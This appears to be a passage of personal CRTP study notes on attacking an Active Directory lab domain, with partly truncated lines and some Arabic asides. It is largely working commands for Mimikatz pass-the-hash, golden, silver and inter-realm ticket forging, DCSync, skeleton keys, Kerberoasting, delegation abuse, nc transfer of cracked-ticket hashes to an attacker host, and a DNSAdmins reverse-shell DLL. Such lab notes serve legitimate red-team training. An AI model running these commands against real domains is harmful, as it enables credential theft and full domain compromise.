sc start "servicename"
Invoke-AllChecks
Invoke-AllChecks is a function that runs all the checks included in the module. The
function outputs results of the checks in a useful format and offers us suggestions for
where to look regarding privilege escalation.
Looking at our results from Invoke-AllChecks we can see a check for unquoted service
paths has found the following:
CRTP-Notes-Meshari-Almalki 40
[*] Checking for unquoted service paths...
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\WebServer\abyssws.exe --service
ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path <HijackPath>
CanRestart : True
ServiceName : AbyssWebServer
Path : C:\WebServer\Abyss Web Server\WebServer\abyssws.exe --service
ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path <HijackPath>
CanRestart : True
This can change the Path of the service we can make the AbyssWebServer Service point to
a new executable Like cmd.exe or powershell.exe , and we can restart this service
BloodHound
Mapping trust other objects and relationships between all the object and entity using data
collecting by ingestor. ( it’s not usefull for RedTeamer , It’s usefull for PT or
BlueTeamer ).
To Aviod detection like ATA ( The Advanced-Threat-Analytics PowerShell module was designed to make it easy for customers to interfa
# Invoke-BloodHound -Collection All -ExcludeDC
after generate a zip file , now run a server of neo4j and bloodhound and also transfare the
zip File to the attacker machine with pscp .
CRTP-Notes-Meshari-Almalki 41
# PSCP command
pscp <username>@<ip_of_target-Machine>:/<Directory_Of_file> <Destination>
#neo4j
neo4j.bat -install-service
CRTP-Notes-Meshari-Almalki 42
Lateral Movement - Powershell Remoting ( psexec )
Admin Recon → Leteral Movement → Domain Admin Priv
need to enable remoting ( Enable-PSRemoting ) on Desktop Windows machine. Priv admin
required to do that.
Powershell Remoting use TCP/5985 HTTP Port By Default. and 5956 for ssl.
b. PSSession
i. Interactive
iii. Is Stateful.
c. Cmdlets:
a. New-PSSession
b. Enter-PSSession
# First Find-LocalAdminAccess
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Find-LocalAdminAccess
dcorp-adminsrv.dollarcorp.moneycorp.local
CRTP-Notes-Meshari-Almalki 43
Store a session:
2. One-To-Many
b. it’s the best in PowerShell for passing the hashes, using credentials and exec
command on multiple remote computers.
# Use invoke-Command
CRTP-Notes-Meshari-Almalki 44
invoke-Command -FilePath <Script_Path> -Session $sess
Enter-PSSession -Session $sess
ﺑﻤﻌﻨﻰ اذا ﺗﺒﻲ ﺗﻨﻔﺬ ﻋﻠﻰ اﻛﺜﺮ ﻣﻦ ﺟﻬﺎز ﻻزم ﺗﻨﺸﺊ اﻛﺜﺮ ﻣﻦ ﺟﻠﺴﻪ.
Deep_Dive_into_PS_ConstrainedLang
Invoke-Mimikatz
it’s very useful for passing and replaying hashes, tickets and for many exiting AD
Attacks
The script needs administrator privileges for dumping credentials from local machine,
Many attacks need specific privileges which are covered while discussing that attack.
# "Over pass the hash ( PTH ) " generate tokens from hashes
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:<ntlmhash> /run:powershell.exe"'
CRTP-Notes-Meshari-Almalki 45
Stateful Mimikatz
to prevent the “clear-text” password from being placed in LSASS, the following registry
key needs to be set to “0” (Digest Disabled):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)
CRTP-Notes-Meshari-Almalki 46
Domain Presistence - Golden Ticket - DCSync
Once we have DA privileges new avenues of persistence, escalation to EA and Attacks across
trust open up!
Kerberos:
Alternative to NTLM.
CRTP-Notes-Meshari-Almalki 47
NTLM password hash for Kerberos RC4 encryption.
CRTP-Notes-Meshari-Almalki 48
Golden Ticket
A golden ticket is signed and encrypted by the hash of krbtgt account which makes it
a valid TGT ticket.
Since user account validation is not done by Domain Controller (KDC service) until
TGT is older than 20 minutes, we can use even deleted/revoked accounts.
The krbtgt user hash could be used to impersonate any user with any privileges from
even a non-domain machine.
Password change has no effect on this attack. If the hash does not match, DC
validates against the previously used password.
This persistent technique is valid as long as the krbtgt hash is not changed twice.
klist
ls \\<DC.targetdomain.local>\c$
PsExec64.exe \\DC.targetdomain.com cmd.exe
#Impacket
python ticketer.py -nthash <:krbtgt hash> -domain-sid <domain sid> -domain <domain.local> <Anyname> export KRB5CCNAME=<Anyuser
#psexec
psexec.py <domain.local>/<Anyuser>@<IP> -k -nopass
CRTP-Notes-Meshari-Almalki 49
#Now run this inside dcorp-dc machine
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
klist :
PS C:\AD\Tools> klist
CRTP-Notes-Meshari-Almalki 50
Renew Time: 5/3/2022 18:42:16 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
DCSync Attack
Requires a user with the Replicating Directory Changes All and Replicating Directory Changes privileges.
CRTP-Notes-Meshari-Almalki 51
Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers
groups have these privileges by default. It is also possible for any user to be granted
these specific privileges.
Use the DCSync feature for getting krbtgt hash execute the below command with DA
privileges.
•Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the
target DC.
CRTP-Notes-Meshari-Almalki 52
Domain Presistence - Silver Ticket
if we have access NTLM hash of they service account password we can forged a TGS and use it
on they application server.
Silver Ticket Attack → if we can Extract the NTLM hash of service account we can later on
access the service as any user even including high privesc user .
Silver Ticket (TGS) → Ticket Granting Service .
The Privileged Attribute Certificate (PAC) is an extension to Kerberos tickets that contains useful information about a user’s p
rivileges. This information is added to Kerberos tickets by a domain controller when a user authenticates within an Active Dire
ctory domain. When users use their Kerberos tickets to authenticate to other systems, the PAC can be read and used to determine
their level of privileges without reaching out to the domain controller to query for that information (more on that to follow).
/service – the kerberos service running on the target server. i.e Service Principal Name
class (or type) [cifs, http, mssql,host]
/groups (optional) – group RIDs the user is a member of (the first is the primary group)
default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).
/ticket (optional) – provide a path and name for saving the Golden Ticket file to for
later use or use /ptt to immediately inject the golden ticket into memory for use.
/ptt – as an alternate to /ticket – use this to immediately inject the forged ticket
into memory for use.
/id (optional) – user RID. Mimikatz default is 500 (the default Administrator account
RID).
/startoffset (optional) – the start offset when the ticket is available (generally set
to –10 or 0 if this option is used). Mimikatz Default value is 0.
CRTP-Notes-Meshari-Almalki 53
/endin (optional) – ticket lifetime. Mimikatz Default value is 10 years (~5,262,480
minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
/renewmax (optional) – maximum ticket lifetime with renewal. Mimikatz Default value is
10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7
days (10,080 minutes).
Service Type :
We Can Create Silver Ticket via ( HOST SPN ) which allow scedule and execute task:
#5 On The powercat
powercat -l -v -p 443 -t 1000
Skeleton Keys:
Skeleton key is a persistence technique where it is possible to patch a Domain
Controller (LSASS process) so that it allows access as any user with a single password.
Persistent as long as LSASS service is not restarted.[ i.e DC reboot. Atleast 1 month
time]
One cannot patch LSASS twice with skeleton key. Requires reboot.
You can access other machines as well as long as they authenticate with the DC which has
been patched and the DC is not rebooted.
CRTP-Notes-Meshari-Almalki 54
Default password :mimikatz
Password → mimikatz
If LSASS is running as a Protected Process.
We can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of
the target DC
mimikatz # privilege::debug
mimikatz # !+ <- load the driver
mimikatz # !processprotect /process:lsass.exe /remove <- remove the protection
mimikatz # misc::skeleton <- we can injected !
mimikatz # !-
CRTP-Notes-Meshari-Almalki 55
What is DSRM?
#1
Enter-PSSession -Computername dcorp-dc -> Need Domain Admin
#2
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -> Check Value of Lsa
CRTP-Notes-Meshari-Almalki 56
0 (default): You can only use the DSRM administrator account if the DC is started in
DSRM.
1: You can use the DSRM administrator account to log on if the local AD DS service is
stopped.
2: You can always use the DSRM administrator account (This setting isn’t recommended,
because password policies don’t apply to the DSRM administrator account).
CRTP-Notes-Meshari-Almalki 57
DSRM + DCSync = Password data for any domain account
#Mimikatz
@DSRM -> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /ru
@DSYNC -> Invoke-Mimikatz -Command '"lsadump::dcsync /domain:dollarcorp.moneycorp.local /dc:DCORP-DC /user:dcorp\krbtgt"'
NTLM
Kerberos
Wdigest
CredSSP
Mimikatz provides a custom SSP -mimilib.dll. This SSP logs local logons, service account
and machine account passwords in clear text on the target server.
DLL can be modified to save into C:\SYSVOL instead. This exposes the log file to all users.
$packages+="mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
#cmd
shutdown -r
Stored to C:\windows\system32\mimilsa.log
CRTP-Notes-Meshari-Almalki 58
Domain Presistence - ACLs - AdminSDHolder
AdminSDHolder
is a container that exists in every Active Directory domain for a special purpose. The
Access Control List (ACL) of the AdminSDHolder object is used as a template to copy
permissions to all “protected groups” in Active Directory and their members. Active
Directory will take the ACL of the AdminSDHolder object and apply it to all protected users and groups
periodically , if an attacker is able to manipulate the ACL for AdminSDHolder, then those
permissions will automatically be applied to all protected objects. This will give an
attacker a way to create persistent access to privileged accounts within the domain.
Administrators
Backup Operators
Domain Admins
Domain Controllers
Enterprise Admins
Krbtgt
CRTP-Notes-Meshari-Almalki 59
Print Operators
Replicator
Schema Admins
Server Operators
# ADModule
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal student1 -Verbose
# PowerView
#GenericAll
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student1 -Rights All -Verbose
#ResetPassword
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student1 -Rights ResetPassword -Verbose
#WriteMembers
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student1 -Rights WriteMembers -Verbose
Abuse Methods:
DCSYNC:
Three Spicial Right :
CRTP-Notes-Meshari-Almalki 60
it’s enough to DCSync Privileges, this one we can extract NTLM hash without any DA
privileges .
#DCSync Rights
#Powerview
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "studentx")
# Add To DCSync Rights
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName <studentx> -Rights DCSync -Ve
CRTP-Notes-Meshari-Almalki 61
SSDL uses ACE strings For ( DACL & SACL )
ACE Strings :
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)
# ACE for built-in Administrator For WMI namespaces :
# Example
A;Cl;CCDCLCSWRPWPRCWD;;;SID
A-> Allow
CI-> Container_INHERIT
CCDCLCSWRPWPRCWD-> All of these are defferent rights , all of these club together give fullControl over the namespace .
if i Replace SID With ( UserSID ) the user will have full control over the namespace
Reference
CRTP-Notes-Meshari-Almalki 62
Use PowerShell Remoting → Set-RemotePSRemoting.ps1
CRTP-Notes-Meshari-Almalki 63
Now on studentadmin machine run this command :
📍Service Principal Name maps the host/user service accounts to running services.
The structure of an SPN consists of 2 main parts: Service Class:the service type,
i.e., SQL, Web, Exchange, File,etc., and the Host
where the service is usually running in the format of FQDN (FullyQualified Domain Name)
CRTP-Notes-Meshari-Almalki 64
and port number. For example, below, the Microsoft SQL service runs on the dcorp-mgmt host on
port 1443
The SPN is MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433
Kerberoasting
works best against user service accounts configured with weak passwords, not the host-based
computer accounts that use random 128 character passwords that are changed every 30 days.
🎯 The attack’s goal is to retrieve the cleartext passwords of service accounts to either
escalate our privileges since most service accounts run with admin-related privileges or
pivot laterally within the network.
🚩$_Attack_Pre-requisites
Credentials of a valid domain user service account (not a computer account).
Service Principal Names of the services tied to the service user account.
Note the vulnerable domain member - a user account with servicePrincipalName attribute set,
which is very important piece for kerberoasting - only user accounts with that property set
are most likely susceptible to kerberoasting:
CRTP-Notes-Meshari-Almalki 65
First need to identify all the running services mapped to the service account and their
privileges through the SPN attribute.
Attacker enumerating user accounts with serverPrincipalName attribute set:
#PowerView
Get-NetUser -SPN
Get-NetUser | Where-Object {$_.servicePrincipalName} | fl
#ActiveDirectory Module
Get-ADUser -Filter {ServicePrincipleName -ne "$null"} -Properties ServicePrincipleName
# Using only built-in powershell, we can extract the susceptible accounts with:
get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt"
#It would have been better to use the following command because of the -filter usage (quicker than select-object)
get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalnam
Additionally, user accounts with SPN set could be extracted with a native windows binary:
CRTP-Notes-Meshari-Almalki 66
Attacker requesting a kerberos ticket (TGS) for a user account with servicePrincipalName set to
depend on the output - it gets stored in the memory:
# Request a TGS .
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "{ServicePrincipleName}"
#PowerView
Request-SPNTicket
Using mimikatz, the attacker extracts kerberos ticket from the memory and exports it to a
file for cracking:
CRTP-Notes-Meshari-Almalki 67
Now i will use a nc to transfare the hash to my machine
# On my Machine :
nc -lvp 443 > ker.bin
# On the target machine
nc <ip> <port> < [PATH_Of_The_Hash]
# Using tgsrepcrack.py
python tgsrepcrack.py <PASS_LIST> ker.bin // Recomended use list -> 10k-worst-pass.txt
# Using hashcat
Reference
Observations
(from advanced Powershell logging) followed by a windows security event 4769 immediately
after that, you may be looking at an old school Kerberoasting, especially if ticket
encryption type has a value 0x17 (23 decimal, meaning it's RC4 encrypted):
Traffic
elow is the screenshot showing a request being sent to the Ticket Granting Service (TGS) for the
service with a servicePrincipalName HTTP/dc-mantvydas.offense.local :
CRTP-Notes-Meshari-Almalki 68
Priv Esc - Kerberoasting - AS-REPs - SPN
First of All , What is AS-REPs?
AS-REP is a Kerberos message type that refers to an "Authentication Service" (AS) response
message. It is transmitted between a kerberos server and client as part of the exchange of
credentials needed to access a service.
More Information
CRTP-Notes-Meshari-Almalki 69
Enumerate Accounts with Kerberose Preauth Disable
# PowerView
Get-DomainUser -PreauthNotRequired -Verbose
CRTP-Notes-Meshari-Almalki 70
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
4194304 → DONT_REQ_PREAUTH
# Use ASREPRoast:
Get-ASREPHash -UserName VPN1user -Verbose
# Do all automatically:
Invoke-ASREPRoast -Verbose
SET SPN
With enough rights (GenericAll/GenericWrite), a target user's SPN can be set to anything
(unique in the domain).
We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".
PowerView_dev
ADModule
CRTP-Notes-Meshari-Almalki 71
# Check if user has SPN already:
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
PowerView_dev
## Clean up
Set-DomainObject -Identity USER -clear serviceprincipalname
ADModule
Request a ticket
klist
CRTP-Notes-Meshari-Almalki 72
Export all tickets using Mimikatz
2. Constratind.
Unconstrained:
Allows the first hop server ( web server in Example ) to request access to any service on
CRTP-Notes-Meshari-Almalki 73
1. User Authenticate to DC
2. DC return TGT
5. User send TGT & TGS to web server ( User TGT is also embeded inside TGS ) وﻫﻨﺎ ﻓﻜﺮه اﻟﺪﻳﻠﻴﺠﻴﺸﻦ
6. Web Server service account Use user TGT to request a TGS for DB server from the dc
🔴 Important
The TGT is extracted from TGS and Stored in LSASS, This way the server
can reuse the user’s TGT to access any other resource as The user
#PowerView;
Get-NetComputer -Unconstrained
#ADModule;
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
In this output;
dcorp-dc → by always show up unConstrained Delegation enable, so Skip it.
dcrop-appsrv → We Will Focus on this machine.
🚩Attack Requirements:
1. a User Or Computer account with Delegation option enabled (dcrop-appsrv)
CRTP-Notes-Meshari-Almalki 74
sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe
And then inside appadmin machine check wither computer have local admin access:
Find-LocalAdminAccess
Niiice i found this machine have LocalAdminAccess And also UnConstrained Deleg
Via appsrv machine we can extract any user TGT on appsrv machine
# Enter-PSSession
Enter-PSSession -Session $sess
CRTP-Notes-Meshari-Almalki 75
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' -> # /export save into disk
ls | select name
appadmin , appsrv are not interesting, so let’s wait for any interesting ticket to be present
# Use Invoke-UserHunter Pull -> To Catch the Ticket from any user that make some operation
CRTP-Notes-Meshari-Almalki 76
Now This way help us to escalate domain admin from uncostrained delegation.
Constrained:
( Specified Services on Specified Computers )
Allows the account with The “Trust this user/Computer for delegation to specified services only” enabled
to impersonate ANY user to access Specific service listed in the allowble delegation list
CRTP-Notes-Meshari-Almalki 77
This configuration of a constrained delg for a USER
🔴 Note
User Must get a valid TGT to request TGS, So How to get valid TGT?
1. Initially sending a timestamp which is encrypted and sign with NTLM hash of the user
password
a. Service request TGS for it’s self from the DC without supplying the password
CRTP-Notes-Meshari-Almalki 78
b. Service account must have the → TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (T2A4D)
UserAccessControl (UAC) Attribute.
Authentication Flow:
Step 2,3 allowes the web server to obtain a TGS for it self as Joe User ( impersonate
joe )
Step 5,6 KDC check the value of msDS-AllowedToDelegateTo if it’s matches CIF/dcorp-mssql on the
websvc account if it matches the CIF/dcorp-mssql then KDC will return the TGS for dcorp-
mssql as joeuser.
dcrop-mssql ﻋﻠﻰ ﺟﻬﺎز CIF ﻫﻨﺎ اﻻﺣﻆ ان اﻟﺘﻜﺖ اﻟﻠﻲ اﺧﺬﺗﻬﺎ ﻓﻘﻂ ﻋﻠﻰ ﺧﺪﻣﻪ وﺣﺪه وﻫﻲ
Unconstrained و Constrianed وﻫﺬا ﻳﻮﺿﺢ ﻟﻲ اﻟﻔﺮق ﺑﻴﻦ اﻟـ
To Abuse the constrained delegation in above scenario, we need to have access to the
websvc account.if we have access to that account, it’s possible to access the service
listed in msDS-AllowedToDelegateTo of the websvc account as ANY user.
🚩Attack Requirements:
a User Or Computer account with Delegation option enabled:
“If you compromised the server as a regular user, you need to esclate to admin to abuse this delegation feature.”
CRTP-Notes-Meshari-Almalki 79
Get-DomainComputer -TrustedToAuth
# PowerView
Get-NetUser -TrustedToAuth
Get-NetComputer -TrustedToAuth
# ADModule
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
PowerView_dev
CRTP-Notes-Meshari-Almalki 80
OR
Kekeo is a tool that read and write ticket on LSASS without injected to LSASS
Now when we have a TGT we request a TGS using s4u from kekeo (step 4&5)
websvc ﺗﻜﻮن ﻃﺎﻟﺒﻬﺎ ﻣﻦ اﻟﻴﻮزر tgt ﻫﻨﺎ اﺧﺘﺮت اﻟﻴﻮزر ادﻣﻦ او اي ﻳﻮزر ﺑﺸﺮط
Delegate_user وﺑﻌﺪﻳﻦ ﺣﻄﻴﺖ اﺳﻢ اﻟﺴﻴﺮﻓﺲ اﻟﻠﻲ ﺗﺴﻤﺢ ﻟﻞ
Now we use a Mimikatz to inject the TGS ticket and whoooa we got it:
CRTP-Notes-Meshari-Almalki 81
Now We can access just the file system on dcorp-mssql machine.
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$
When we Enumerated for a A delegation users we have another machine it’s called ⇒ dcorp-
CRTP-Notes-Meshari-Almalki 82
After request a TGT we request a TGS but here is a differince:
# Request a TGT
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:1fadb1b13edbc5a61cbdc389e6f34c67
We rquesting as Administrator a ticket not only time and also ldap service
CRTP-Notes-Meshari-Almalki 83
ﻟﻮ ﺗﻼﺣﻆ ﻫﻨﺎ ﻣﺎﻋﻨﺪي وﺻﻮل ﻟﺨﺪﻣﻪ ﺛﺎﻧﻴﻪ ﻟﻜﻦ ﻋﻦ ﻃﺮﻳﻖ اﻟﺠﻬﺎز اﻻول ﻗﺪرت اوﺻﻞ ﻻﻛﺜﺮ ﻣﻦ ﺧﺪﻣﻪ ﻋﻠﻰ اﻟﺠﻬﺎز اﻟﺜﺎﻧﻲ
ك ادﻣﻦ.
single command ):
if the output contains DNSAdmins in it’s group memberships, then the user belongs to the
group and we can abuse his membership to escalate to Administrator rights.
if we have access to the member in DNSAdmin group we can run a dll that is run our code to
execute something else like: reverse shell with system privileges.
CRTP-Notes-Meshari-Almalki 84
Note: DNSAdmin Group Must Have privileges to Restart the DNS service.
Note: the default configuration will not allow restarting the server.
# PowerView
Get-NetGroupMember -GroupName "DNSAdmins"
# OR
Get-NetGroupMember DNSAdmins
Now we need to compromise a member , we Already have the hash of srvadmin beacuse of
derivative local admin.
We will build a DLL which contains reverse tcp code and inject it into dns.exe process on the victim’s DNS Server
(DC) . In case your work requires building a DLL which exports all necessary functions refer
this post or this screenshot
for building the DLL instead of msfvenom. You can also use remote dll injector.
rundll32.exe .\dnsprivesc.dll,DnsPluginInitialize
CRTP-Notes-Meshari-Almalki 85
Building the DLL using msfvenom:
While building a payload you have to take the target machine’s architecture in consideration
too(X86/x64).
One thing i learnt during this pentest lab was that meterpreter shells
are blocked by Antivirus/Windows Defender, to be specific, the staged
ones . The difference between staged and stageless payloads are described
I later found that stageless payloads have limitations which do not allow dll injections
for now,it can be tracked in this GitHub issue.So i decided to go for more simple payloads
without meterpreter . My victim had a 64 bit arch , so i generated a dll with the following command,
We are choosing this, because windows supports UNC paths and samba shares by default in
most cases. Also, there are times when the victim’s AV or defender may delete the payload
if uploaded, so we’ll stick with smb server for this one. However dealing with smb can be
quite tricky on *nix, but luckily we have scripts that can make the process a lot easier.
We will use Impacket’s smb server, to host our file.
You can check if the server is working by using smbclient on a new terminal,
CRTP-Notes-Meshari-Almalki 86
smbclient -L your_smb_server_ip --no-pass
# (assuming you didn't set username and password)
eg: smbclient -L 192.168.43.100 --no-pass
you can also check if the victim is able to access the share using the following command on
victim’s shell,
As you can see accessing smb share is really easy by using UNC paths.
for example, to access our privesc.dll, we can simply use the following
UNC path \\192.168.43.100\share\privesc.dll
manage the DNS server. The utility can be installed by adding DNS Server
Tools to your system as shown in the below screengrab
Resource → https://www.ired.team/offensive-security-experiments/active-directory-kerberos-
abuse/from-dnsadmins-to-system-to-domain-compromise
Normally we cannot check if the dll was added, as it requires Administrator privileges, but in our
case we did have an admin account , so we can check using the following command,
CRTP-Notes-Meshari-Almalki 87
Listening for connection and restarting dns if required:
We can use a normal listener like nc for listening on the proper port. In case you don’t
get a connection, you can try restarting the dns server on your own. this is possible
because the victim is part of DNSAdmins group.
And that’s it, you should have a shell with Administrator privileges by
now.
C:\>whoami
nt authority\system
Right click on dll folder → Properites → Sharing → Share → choose Everyone For read/Write
CRTP-Notes-Meshari-Almalki 88
and run this command :
CRTP-Notes-Meshari-Almalki 89
Event ID ⇒ 770: that means dll it’s loaded to DNS service
We can use a system function to execute a Reverse shell encoded by PowerShell encoded or
what ever you want:
there are two ways of escalating privileges between two domains of same forest:
1. krbtgt hash
2. Trust Tickets
CRTP-Notes-Meshari-Almalki 90
Child to Parent Trust Flow:
4. Request the TGS for application server in the parent domain, DC Check the global catalog
and find server that this service is not in it’s domain it’s in the parent domain, the DC response
within inter-realm TGT or Referral Ticket .
Step Five because it’s present inter-realm TGT and response the TGS
CRTP-Notes-Meshari-Almalki 91
it’s this step is abusable in this case, That Mean if we have access to trust key we can
forge and inter-realm TGT which the parent DC would assume to be valid.
Another Example:
2. The user receives the TGT ticket and sends it back to DC#1,requesting a
service ticket for a specific service like SQL service.If the requested service
resides on another domain ( Parent Domain ) DC#1 will issue a special TGT ticket
called
CRTP-Notes-Meshari-Almalki 92
inter-realm or Referral Ticket Encrypted with their trust key to refer to the DC that has
the service.
In our case, the user requested access to a SQL service that resides
on DC#2.So, DC#1 issued a referral ticket to DC#2.
3. The user takes that inter-realm ticket and presents it to DC#2,requesting a SQL service
ticket. DC2# has a copy of the trust key of DC#1; if it decrypts the ticket presented
by the user, it will go ahead and issue a SQL service ticket as requested without
conducting additional verification.
📌 DC#2 will blindly trust DC #1 to verify the user. However, we will see the risk later
in the escalation part that if the attacker obtains the trust keys, can forge TGT
tickets all day long.
4. The user present the SQL TGS ticket to the database server and gets the intended
access.
$_Escalation_Requirements 🚩
Domain Admin Privileges on the compromised DC.
$_Used _Tools 🔧
Invoke-Mimikatz
Rubeus
$_Escalation_Demo 🔥 DA⇒EA
Our goal is to forge an inter-realm trust ticket that escalates us to Enterprise Admin using
the compromised trust keys. This step assumes that you have already gained domain admin
privileges on the DC.
CRTP-Notes-Meshari-Almalki 93
I obtained the access by abusing the application server’s
unconstrained delegation in the previous post
To forge a trusted ticket, we need the domain trust key and the SID of the root domain.
Run Invoke-Mimikatz with the trust parameter to obtain the keys.
As seen in the below screenshot, we obtained all the trust keys from the domain
controller. The [IN] and [OUT] in front of the domain names indicate the trust direction.
In our case, we are interested in getting access to the root domain “moneycorp.local”
from our child domain “dollar.moneycorp.local” . Therefore, we choose the first key.
[ In ] DOLLARCORP .MONEYCORP.LOCAL -> MONEYCORP.LOCAL
CRTP-Notes-Meshari-Almalki 94
After identifying the right trust key, we need the domain controller SID and the SID of
the root domain to create the fake trust ticket with Enterprise Admin privileges.
CRTP-Notes-Meshari-Almalki 95
Next, run Invoke-Mimikatz to issue the inter-realm tickets. Again, we specify the gold
module, the child domain SID of “dollar.moneycorp.local” and the root domain SID
“moneycorp.local”.
by using Mimikatz, we can list the domain trust we have and get the SID for each domain
including the current domain
mimikatz(powershell) # lsadump::trust
Step three – Collect the krbtgt hash for the child domain
CRTP-Notes-Meshari-Almalki 96
Copy the ticket locally, and use it to request a service ticket (TGS) from the root
domain. In the below example, we requested CIFS service with Rubeus — asktgs
module. { Get a TGS for a service ( CIFS ) in the target domain by using the forget
trust ticket.
🔴 Note\ Tickets for other services list ( HOST , RPCSS, WMI, HOST, HTTP for PSremoting,
WinRM ) can be created as well.
Rubeus.exe asktgs /ticket: ticket Location /service: service type [cifs/mcorpdc.moneycorp.local] /dc: domain controller [mcor
# OR
asktgs.exe <PATH_Trust_TKT.kribi> <SERVICE_TYPE> [cifs/mcorpdc.moneycorp.local]
CRTP-Notes-Meshari-Almalki 97
After running the command, verify we have the new TGS ticket with the klist
command
As seen below, we got a TGS ticket as Administrator for the CIFS service on the root
domain controller “mcorp-dc.moneycorp.local” .We were able to list the Enterprise
Administrator’s shares on the root domain.
OR using kirbikator.exe
CRTP-Notes-Meshari-Almalki 98
So TGS has been injected, and we can access:
Other option we have,we can use the same things with krbtgt hash of our
current domain:
if some one get the krbtgt key they can fall back the trust key and Verica verses
🔴 Here we get the TGT whatever TGS is requested would be automatically requesting using
this TGT.
CRTP-Notes-Meshari-Almalki 99
gwmi -Class win32_operatingsystem -ComputerName mcorp-dc
💥 Very Interesting :
Avoid suspicious logs:
CRTP-Notes-Meshari-Almalki 100
3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-
1496970234-700767426-516,S-1-5-9
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'
CRTP-Notes-Meshari-Almalki 101
If We have access to trust key we can forge an inter-realm TGT for they External Trust .
The Difference:
We Could Escalate our Privelige to the Enterprise Admin By Using ( SID History )
CRTP-Notes-Meshari-Almalki 102
# Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket.
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local
#Tickets for other services (like HOST and RPCSS for WMI, HOST and
#HTTP for PowerShell Remoting and WinRM) can be created as well.
CRTP-Notes-Meshari-Almalki 103
ls \\eurocorp-dc.eurocorp.local\forestshare\
CRTP-Notes-Meshari-Almalki 104
MSSQL Server are generally deployed in plenty in a windows domain.
SQL servers provide a very good options for Lateral movement as domain Users can be
mapped to database roles .
# Discovery ( SPN Scanning ) -> This Get All Things has a MSSQL keywords
Get-SQLInstanceDomain
# Check Accessibility -> This one will be check wich Server We Can to Accessible.
Get-SQLConnectionTestThreaded
# OR
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose → Access Only Those SQL service Which Are
accessible on the Network :
Ease Way Check What are our Privileges on The sql Server:
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
CRTP-Notes-Meshari-Almalki 105
Database Links:
A database Link allows a SQL server to access external Data sources like Other SQL
servers and OLE DB data Sources.
In case of database links between SQL servers, that is, linked SQL servers
it is possible to execute stored procedures.
# OR Manually
select * from master..sysservers # -> Run this command by using Hidisql
DatabaseLinkLocation → Remote
CRTP-Notes-Meshari-Almalki 106
Manullay Using HidiSQL APP
